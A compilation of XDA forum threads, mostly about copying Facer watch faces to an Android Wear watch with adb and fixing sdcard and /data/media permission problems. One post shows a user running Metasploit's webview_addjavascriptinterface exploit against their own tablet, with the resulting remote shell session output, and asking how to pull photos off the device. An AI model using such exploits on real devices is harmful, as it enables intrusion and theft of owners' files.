OK - it seems that it is fairly easy to load Facer and all the Facer faces that you have onto your Watch. I won't go into much detail here - you can search other threads on this site or others for details on how to do this (many of the steps can be found in this thread: http://forum.xda-developers.com/android-wear/development/getting-watchmaker-watch-android-wear-t3262448). But the basic idea is to load the wearable .apk file extracted from the Facer app on the Android host (the device which you run Facer and create/load/modify your watch faces) onto the watch, and then copy the key watch folders to the watch as well. You will need the Android SDK tools to do this, along with a USB connection to the watch (most watches except the original Moto 360 come with one - the charging cable, which also contains data lines). You can use two free tools from the Play Store to help with these tasks - ES File Manager and AirDroid.
The basic idea is to first create all the faces that you wish to use on either an Android device or Emulator (Android host).
After this, if you examine your Android host device, you will see two Facer folders in the /sdcard folder - Facer, and Facer2. You only need to use part of the Facer folder.
Steps:
1. Install Facer from the Play Store on the Android host device and develop your watches.
2. Install the wearable .apk (*adb install ...*) onto the watch.
3. Copy the /sdcard/Facer folder to your PC or Mac. Then remove everything except the long hex-string folders - these are the watch face folders.
4. Copy this modified Facer folder to the watch using *adb push ...*
5. Reboot the watch, then press the watch face (brings up the watch face selector), scroll until you find the Facer icon, press the settings
button and then select the Facer watch face that you want to use.
That should be it. If you examine the file structure on the watch after this, you will find a couple of new folders - none_selected and sync.
and a watchface_1.zip file.
As you add new watches, new hex-string folders will be created on the host Android device. Just transfer those folders to your PC or Mac and
then transfer them back to your watch.
Kevin
Please can somebody upload wholeFacer directory from watch with few installed watchfaces ? i need to see how look folder structure with multiple load faces. Thanks a lot.
x5ox1 said:
Please can somebody upload wholeFacer directory from watch with few installed watchfaces ? i need to see how look folder structure with multiple load faces. Thanks a lot.
Click to expand...
Click to collapse
Here are some directory structures from my Android host and watch. First, the host:
adb -e shell ls -al /sdcard/Facer
-rwxrwx--- root sdcard_r 0 2016-01-25 14:59 .nomedia
drwxrwx--- root sdcard_r 2016-01-25 14:59 135d95fb-06cb-4a2a-832c-5fc45e9b9fb0
drwxrwx--- root sdcard_r 2016-01-25 14:59 6b07b86c-ebda-49af-bb31-d9ec8a71da03
drwxrwx--- root sdcard_r 2016-01-25 14:59 848a2270-9d55-4353-a62b-b153badcce69
drwxrwx--- root sdcard_r 2016-01-25 14:59 9358cc22-8f49-411c-a725-607636a1b0ee
-rwxrwx--- root sdcard_r 331653 2016-01-25 14:59 Colorful.zip
-rwxrwx--- root sdcard_r 524582 2016-01-25 14:59 Digiloge.zip
-rwxrwx--- root sdcard_r 101885 2016-01-25 14:59 E3 Military.zip
-rwxrwx--- root sdcard_r 357285 2016-01-25 14:59 E3 Supply Co Aviator.zip
-rwxrwx--- root sdcard_r 94620 2016-01-25 14:59 Moto Dark.zip
drwxrwx--- root sdcard_r 2016-01-25 14:59 b7c9deb0-e43d-4892-ae96-2b826681c2f4
I have 5 installed watch faces - the Moto Dark resides in the b7c9deb0... folder
adb -e shell ls -al /sdcard/Facer/b7c9deb0-e43d-4892-ae96-2b826681c2f4
-rwxrwx--- root sdcard_r 562 2016-01-25 16:21 description.json
drwxrwx--- root sdcard_r 2016-01-25 14:59 fonts
drwxrwx--- root sdcard_r 2016-01-25 14:59 images
-rwxrwx--- root sdcard_r 9342 2016-01-25 15:23 preview.png
-rwxrwx--- root sdcard_r 1874 2016-01-25 15:23 watchface.json
-rwxrwx--- root sdcard_r 238 2016-01-25 15:23 watchface_settings.json
Now, the watch:
adb -d shell ls -al /sdcard/Facer
drwxrwx--- root sdcard_r 2016-01-25 15:25 135d95fb-06cb-4a2a-832c-5fc45e9b9fb0
drwxrwx--- root sdcard_r 2016-01-25 15:25 6b07b86c-ebda-49af-bb31-d9ec8a71da03
drwxrwx--- root sdcard_r 2016-01-25 15:25 848a2270-9d55-4353-a62b-b153badcce69
drwxrwx--- root sdcard_r 2016-01-25 15:25 9358cc22-8f49-411c-a725-607636a1b0ee
drwxrwx--- root sdcard_r 2016-01-25 15:25 b7c9deb0-e43d-4892-ae96-2b826681c2f4
drwxrwx--- root sdcard_r 2016-01-25 14:40 none_selected
drwxrwx--- root sdcard_r 2016-01-25 14:40 sync
-rw-rw---- root sdcard_r 652974 2016-01-25 14:40 watchface_1.zip
Note that I only copied the first 5 (hex) folders from the host to the watch; the rest was created by Facer after starting it on the watch.
And finally:
adb -d shell ls -al /sdcard/Facer/b7c9deb0-e43d-4892-ae96-2b826681c2f4
-rw-rw---- root sdcard_r 562 2016-01-27 22:01 description.json
drwxrwx--- root sdcard_r 2016-01-25 15:25 fonts
drwxrwx--- root sdcard_r 2016-01-25 15:25 images
-rw-rw---- root sdcard_r 9342 2016-01-25 15:25 preview.png
-rw-rw---- root sdcard_r 1874 2016-01-25 15:25 watchface.json
-rw-rw---- root sdcard_r 238 2016-01-25 15:25 watchface_settings.json
This appears to be exactly the same as on the host.
Hope this helps.
Kevin
Related
I'm having the darndest time trying to figure out a certain issue I'm having. For some reason I cannot edit or delete or even write to certain folders of my internal storage. I have searched the forums for fixes, and the common sense fix keeps coming up, permissions.
In Terminal Emulator I am looking at the permissions for all the folders on my internal /sdcard and they disply as:
Code:
drwxrwxr-x
as expected. Yet when I try to delete say for example /sdcard/Download it tells me the folder is Read Only.
I even chmod to change the permissions and they just dont change. The reason I use the Download folder as an example is because I cannot download any files, like an updated ROM from any browser, it just fails. It is extremely annoying. My Prime is rooted, unlocked, and running Virtuous S .28
To make matters worse, I am deployed to Afghanistan and my laptop recently died, so all I have are my Prime and Desire HD phone to work with.
If anyone has any ideas on how to resolve this I'm all ears.
Many thanks in advance.
TrailorParkKid said:
I'm having the darndest time trying to figure out a certain issue I'm having. For some reason I cannot edit or delete or even write to certain folders of my internal storage. I have searched the forums for fixes, and the common sense fix keeps coming up, permissions.
In Terminal Emulator I am looking at the permissions for all the folders on my internal /sdcard and they disply as:
Code:
drwxrwxr-x
as expected. Yet when I try to delete say for example /sdcard/Download it tells me the folder is Read Only.
I even chmod to change the permissions and they just dont change. The reason I use the Download folder as an example is because I cannot download any files, like an updated ROM from any browser, it just fails. It is extremely annoying. My Prime is rooted, unlocked, and running Virtuous S .28
To make matters worse, I am deployed to Afghanistan and my laptop recently died, so all I have are my Prime and Desire HD phone to work with.
If anyone has any ideas on how to resolve this I'm all ears.
Many thanks in advance.
Click to expand...
Click to collapse
What's the output of the "ls -l /sdcard/Download"??
craigacgomez said:
What's the output of the "ls -l /sdcard/Download"??
Click to expand...
Click to collapse
Code:
[email protected]:/ $ export PATH=/data/local/bin:$PATH
[email protected]:/ $ su
[email protected]:/ # ls -l /sdcard/Download
-rw-rw-r-- root sdcard_rw 63816 2012-03-07 14:40 -1
-rw-rw-r-- root sdcard_rw 63733 2012-03-07 14:40 -2
-rw-rw-r-- root sdcard_rw 334117 2012-03-07 13:03 12th CAB Packing List FINAL.docx
-rw-rw-r-- root sdcard_rw 62524 2012-03-07 02:35 ALERT ROSTER.pptx
drwxrwxr-x root sdcard_rw 2012-07-02 10:29 Adobe Reader
-rw-rw-r-- root sdcard_rw 346301 2012-03-07 14:40 CJTF computer user agreement.pdf
-rw-rw-r-- root sdcard_rw 10041835 2012-06-18 07:44 DebugfsRoot_v1.8.zip
drwxrwxr-x root sdcard_rw 2012-06-23 16:10 FAQ
drwxrwxr-x root sdcard_rw 2012-06-23 16:10 MANUAL
-rw-rw-r-- root sdcard_rw 4045147 2012-06-22 23:21 Phonesky.apk
-rw-rw-r-- root sdcard_rw 162197 2012-03-07 14:40 SFC CRIST-DA FORM 2875_BLANK FORM.pdf
-rw-rw-r-- root sdcard_rw 4036382 2012-06-23 19:18 Signed_Vending-mod.apk
-rw-rw-r-- root sdcard_rw 622047 2012-06-23 11:27 UnLock_Device_App_V6.apk
-rw-rw-r-- root sdcard_rw 4031699 2012-06-23 18:14 Vending-3.5.16-mod.apk
-rw-rw-r-- root sdcard_rw 16903 2012-03-07 14:40 _CJTF USER AGREEMENT INSTRUCTIONS.docx
[email protected]:/ #
File permissions of /data/media issues
TrailorParkKid said:
Code:
[email protected]:/ $ export PATH=/data/local/bin:$PATH
[email protected]:/ $ su
[email protected]:/ # ls -l /sdcard/Download
-rw-rw-r-- root sdcard_rw 63816 2012-03-07 14:40 -1
-rw-rw-r-- root sdcard_rw 63733 2012-03-07 14:40 -2
-rw-rw-r-- root sdcard_rw 334117 2012-03-07 13:03 12th CAB Packing List FINAL.docx
-rw-rw-r-- root sdcard_rw 62524 2012-03-07 02:35 ALERT ROSTER.pptx
drwxrwxr-x root sdcard_rw 2012-07-02 10:29 Adobe Reader
-rw-rw-r-- root sdcard_rw 346301 2012-03-07 14:40 CJTF computer user agreement.pdf
-rw-rw-r-- root sdcard_rw 10041835 2012-06-18 07:44 DebugfsRoot_v1.8.zip
drwxrwxr-x root sdcard_rw 2012-06-23 16:10 FAQ
drwxrwxr-x root sdcard_rw 2012-06-23 16:10 MANUAL
-rw-rw-r-- root sdcard_rw 4045147 2012-06-22 23:21 Phonesky.apk
-rw-rw-r-- root sdcard_rw 162197 2012-03-07 14:40 SFC CRIST-DA FORM 2875_BLANK FORM.pdf
-rw-rw-r-- root sdcard_rw 4036382 2012-06-23 19:18 Signed_Vending-mod.apk
-rw-rw-r-- root sdcard_rw 622047 2012-06-23 11:27 UnLock_Device_App_V6.apk
-rw-rw-r-- root sdcard_rw 4031699 2012-06-23 18:14 Vending-3.5.16-mod.apk
-rw-rw-r-- root sdcard_rw 16903 2012-03-07 14:40 _CJTF USER AGREEMENT INSTRUCTIONS.docx
[email protected]:/ #
Click to expand...
Click to collapse
TrailerParkKid,
I'm having similar issues. The /sdcard folder is a sym-linked to /storage/sdcard0. /storage/sdcard0 is virtualized from /data/media. I noticed that in this folder the user\group is root\root with permissions -rwx------.
I think we have permissions issues in this directory. If I change the permissions to -rwxrwxrwx then things start working, however I don't like that answer.
I was unable to fix it by changing any permissions through TE. I was finally able to use another device to download the Stock JB ROM modded with the new bootloader and the current version of TWRP. The new version of TWRP allowed me to use my external SD card to flash, so I used the Full Wipe flash to completely wipe the internal SD card. It was a last resort, but I didn't really have a choice. Since then I have been able to download files without issue.
My solution to repair /data/media/
TrailorParkKid said:
I was unable to fix it by changing any permissions through TE. I was finally able to use another device to download the Stock JB ROM modded with the new bootloader and the current version of TWRP. The new version of TWRP allowed me to use my external SD card to flash, so I used the Full Wipe flash to completely wipe the internal SD card. It was a last resort, but I didn't really have a choice. Since then I have been able to download files without issue.
Click to expand...
Click to collapse
TrailorParkKid,
Good to see you got it working. There's always more than one way to fix things. I suspect the Full Wipe of internal SD card probably set the permissions up correctly so that subsequent downloaded files would inherit the correct settings. I did that as well, but then I also restored my backed up files. Those files and directories then got the wrong permissions.
My solution was the following 3 lines executed from /data/media/. Hope this also assists someone else googling...
find . -type d -exec chmod 775 {} ";"
find . -type f -exec chmod 664 {} ";"
find . -exec chown media_rw:media_rw {} ";"
I have a strange Chinese tablet similar to Onda 812. Here is the problem:
[email protected]:/ $ id userid
uid=10087(u0_a87) gid=10087(u0_a87) groups=1015(sdcard_rw),1028(sdcard_r),3003(inet)
[email protected]:/mnt $ ls -al
drwxr-xr-x root system 2013-11-12 00:23 asec
d---rwxr-x system media_rw 2013-11-12 00:14 extsd
drwxr-xr-x root system 2013-11-12 00:23 obb
d---rwxr-x system sdcard_rw 1970-01-01 03:00 sdcard
drwx------ root root 2013-11-12 00:23 secure
d--------- system system 2013-11-12 00:23 usbhost1
extsd got mounted with system user and media_rw group. But android user does not belong to that group so there is only read-only access to the card.
Setting access rights directly to /mnt/extsd does not work. The best solution I have found so far is format card as NTFS and use Paragon NTFS to mount. It does not survive reboot and is ugly.
Any more elegant ways to fix this problem?
SOLVED: Editing plaftorm.xml as per here was the clue.
Hi,
I use KALI Linux and an Android 4.1.2 Tablet for my test. I want to install an App like this:
drops.wooyun.org/papers/548
At Kali Linux i use the exploit webview_addjavascriptinterface and get a response from my tablet (same WLAN).
msf exploit(webview_addjavascriptinterface) > [*] 192.168.178.23 webview_addjavascriptinterface - Gathering target information.
[*] 192.168.178.23 webview_addjavascriptinterface - Sending response HTML.
[*] 192.168.178.23 webview_addjavascriptinterface - Serving exploit HTML
[*] Command shell session 1 opened (192.168.178.39:35534 -> 192.168.178.23:8080) at 2014-05-16 11:27:41 +0000
msf exploit(webview_addjavascriptinterface) > sessions -i 1
[*] Starting interaction with 1...
export PATH=/system/bin:$PATH
ls -al
drwxr-xr-x root root 2014-05-15 16:56 acct
-rw-r--r-- root root 332 2014-05-15 16:56 boot.txt
drwxrwx--x system cache 2014-05-10 09:22 cache
dr-x------ root root 2014-05-15 16:56 config
lrwxrwxrwx root root 2014-05-15 16:56 d -> /sys/kernel/debug
drwxrwx--x system system 2014-05-12 09:41 data
-rw-r--r-- root root 129 2014-05-15 16:56 default.prop
drwxr-xr-x root root 2014-05-15 17:12 dev
drwxr-xr-x radio radio 2014-05-09 13:55 efs
lrwxrwxrwx root root 2014-05-15 16:56 emmc -> /storage/sdcard1
lrwxrwxrwx root root 2014-05-15 16:56 etc -> /system/etc
-rwxr-x--- root root 105292 2014-05-15 16:56 init
-rwxr-x--- root root 1107 2014-05-15 16:56 init.cm.rc
-rwxr-x--- root root 2344 2014-05-15 16:56 init.goldfish.rc
-rwxr-x--- root root 5171 2014-05-15 16:56 init.p1-common.rc
-rwxr-x--- root root 5389 2014-05-15 16:56 init.p1.rc
-rwxr-x--- root root 936 2014-05-15 16:56 init.p1.usb.rc
-rwxr-x--- root root 17862 2014-05-15 16:56 init.rc
-rwxr-x--- root root 1637 2014-05-15 16:56 init.trace.rc
-rwxr-x--- root root 3915 2014-05-15 16:56 init.usb.rc
-rw-r--r-- root root 1664 2014-05-15 16:56 lpm.rc
drwxrwxr-x root system 2014-05-15 16:56 mnt
dr-xr-xr-x root root 1970-01-01 00:00 proc
drwxr-xr-x root root 2014-05-09 13:55 radio
drwxr-x--- root root 2014-05-15 16:56 sbin
lrwxrwxrwx root root 2014-05-15 16:56 sdcard -> /storage/sdcard0
d---r-x--- system sdcard_r 2014-05-15 16:56 storage
drwxr-xr-x root root 2014-05-15 16:56 sys
drwxr-xr-x root root 2014-05-09 13:56 system
-rw-r--r-- root root 272 2014-05-15 16:56 ueventd.goldfish.rc
-rw-r--r-- root root 2035 2014-05-15 16:56 ueventd.p1.rc
-rw-r--r-- root root 5075 2014-05-15 16:56 ueventd.rc
lrwxrwxrwx root root 2014-05-15 16:56 vendor -> /system/vendor
I want to copy some pictures to my KALI system but there is the problem:
dd if=/sdcard/DCIM/Camera of=/dev/sdc bs=1M
/dev/sdc: cannot open for write: Permission denied
Or i want to run adb (no device!)
adb devices
* daemon not running. starting it now on port 5038 *
* daemon started successfully *
List of devices attached
Can someone help or explain me how to do this?
Best regards
I've create a directory /storage/sdcard2 and mounted it as follows:
mkdir sdcard2
chmod 771 /storage/sdcard2
chgrp 1015 /storage/sdcard2
So it has looks like:
drwxrwx--x 3 root sdcard_rw 60 Feb 12 20:17 sdcard2
Now the external storage looks like:
drwxrwx--x 19 root sdcard_rw 32768 Dec 31 1969 DE52-F3E6
So they match exactly, but for some reason while most apps (non-root) can see and view /storage/DE52-F3E6 nothing but root apps can see /storage/sdcard2 (if I su* others can see it in a console but not access it). In Android (CM12) 5.1, this worked fine, in (CM13) 6.0.1 I'm going crazy. I thought it might be namespace separation in Super SU, but that does not appear to be the case it is as if there is another block that only allows root to see non-standard directories (or files) since creating a file in /storage has the exact same issue.
How do I fix this as it makes using 6.0.1 useless as I can not manually mount my secondary partition on the SD Sard and get access to the data on it (except as root).
su - u_10034
127|[email protected]:/storage # su - u0_a334
[email protected]:/storage $ ls -al
drwxr-xr-x 6 root root 140 Feb 12 20:06 .
drwxr-xr-x 28 root root 0 Feb 12 19:59 ..
drwxrwx--x 19 root sdcard_rw 32768 Dec 31 1969 DE52-F3E6
drwx--x--x 5 root sdcard_rw 4096 Dec 31 2014 emulated
drwxrwx--x 3 root sdcard_rw 60 Feb 12 20:17 sdcard2
drwxr-xr-x 2 root root 60 Aug 2 2015 self
[email protected]:/storage $
At a minimum I want to at be able to access the sdcard2 directory same as I can access DE52-F3E6 the permissions match, but the SE (ls -n) setting differ, but I can not find what setting I need to use there to allow the same access as DE52-F3E6 since DE52-F3E6 is a device and sdcard2 is a directory.
Thanks,
ERIC
First I'm on 7.1.1 LineageOS v20, I have my SD card formated using ext2 since I need 4+ GB files for TWRP backups. This works and I can create files and folder ..., however I've found that if I pull the SD card and on a computer set the permission to say 777 all is fine, but on the Phone, I can for instance create a directory using root-explorer, but can not set permission or copy files into it. If I create the folder on the computer I can copy files into it however. Next say I backup using Ti-backup to the external SDcard it works fine, but of I install a new ROm I can not access the previous backup files. I can not change the permissions on the file to 777 either from a terminal.
Really this is what upsets me, as root in a terminal I can not set permissions on a file as it does nothing, for instance on /storage/emulated/0 I have:
h918:/storage/emulated/0 # ls
drwxrwx--x 3 root sdcard_r 4096 Mar 14 19:35 .rr
-rw-rw---- 1 root sdcard_r 1369542927 Apr 1 22:28 01update.zip
-rw-rw---- 1 root sdcard_r 884357956 Apr 1 22:34 02update.zip
-rw-rw---- 1 root sdcard_r 1057588047 Apr 1 22:41 03update.zip
drwxrwx--x 2 root sdcard_r 4096 Mar 9 23:06 3DMarkAndroid
drwxrwx--x 2 root sdcard_r 4096 Mar 4 18:20 Alarms
....
as root I execute:
h918:/storage/emulated/0 # chmod 777 *.zip
h918:/storage/emulated/0 # chmod 777 *.zip
h918:/storage/emulated/0 # ls -al
drwxrwx--x 43 root sdcard_r 4096 Apr 1 22:35 .
drwx--x--x 4 root sdcard_r 4096 Jan 1 2016 ..
-rw-rw---- 1 root sdcard_r 2557 Apr 1 20:20 .bash_history
drwxrwx--x 3 root sdcard_r 4096 Mar 14 19:35 .rr
-rw-rw---- 1 root sdcard_r 1369542927 Apr 1 22:28 01update.zip
-rw-rw---- 1 root sdcard_r 884357956 Apr 1 22:34 02update.zip
-rw-rw---- 1 root sdcard_r 1057588047 Apr 1 22:41 03update.zip
drwxrwx--x 2 root sdcard_r 4096 Mar 9 23:06 3DMarkAndroid
drwxrwx--x 2 root sdcard_r 4096 Mar 4 18:20 Alarms
...
The permissions remain unchanged, why I'm root I should be able to change permissions.
looking at mount the options are:
/dev/fuse on /storage/emulated type fuse (rw,nosuid,nodev,noexec,noatime,user_id=1023,group_id=1023,default_permissions,allow_other)
/dev/fuse on /mnt/runtime/read/emulated type fuse (rw,nosuid,nodev,noexec,noatime,user_id=1023,group_id=1023,default_permissions,allow_other)
/dev/fuse on /mnt/runtime/write/emulated type fuse (rw,nosuid,nodev,noexec,noatime,user_id=1023,group_id=1023,default_permissions,allow_other)
The SD card looks similar:
/dev/fuse on /storage/ea8c26be-fcbc-4773-b799-5e64ef33f641 type fuse (rw,nosuid,nodev,noexec,noatime,user_id=1023,group_id=1023,default_permissions,allow_other)
/dev/fuse on /mnt/runtime/read/ea8c26be-fcbc-4773-b799-5e64ef33f641 type fuse (rw,nosuid,nodev,noexec,noatime,user_id=1023,group_id=1023,default_permissions,allow_other)
/dev/fuse on /mnt/runtime/write/ea8c26be-fcbc-4773-b799-5e64ef33f641 type fuse (rw,nosuid,nodev,noexec,noatime,user_id=1023,group_id=1023,default_permissions,allow_other)
Nothing here should block ROOT from change the permissions. I simply want as root or as any root application to be able to create a directory change file permission and access data written as another root app, all of which make it possible to use the phone and backup/restore safely.
I can only assume something is blocking me form using the device the way I want and operating on files, since pulling the card to a computer allows setting 777 and then it works as I want, what I want is to set the umask to 777 for everything, as for security that can be damned as I need to be able to backup and restore safely first, something I can not do now as Tibackup can not access it's own files on restore unless I first pull the card and set the permissions on a computer, which is unacceptable.
Files created on the phone have permissions 700 or something similar, even though on the phone they are listed as having more, this explains the issue as it is not for instance: -rw-rw---- but -rw-------, however root should still be able to access the file and can not, nor can root change the settings.
ERIC